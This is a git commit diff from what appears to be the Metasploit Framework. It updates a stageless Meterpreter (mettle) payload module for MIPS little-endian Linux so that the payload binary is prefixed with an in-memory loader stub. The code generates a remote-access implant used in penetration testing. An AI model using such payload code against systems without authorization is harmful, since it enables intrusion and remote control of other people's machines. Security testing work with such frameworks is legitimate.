fix: updated mettle payload generation and cached_size

This commit is contained in:
dledda-r7
2025-02-14 05:42:14 -05:00
parent 978a2c23a5
commit 0cc080fbe9
34 changed files with 136 additions and 88 deletions
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mipsle::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end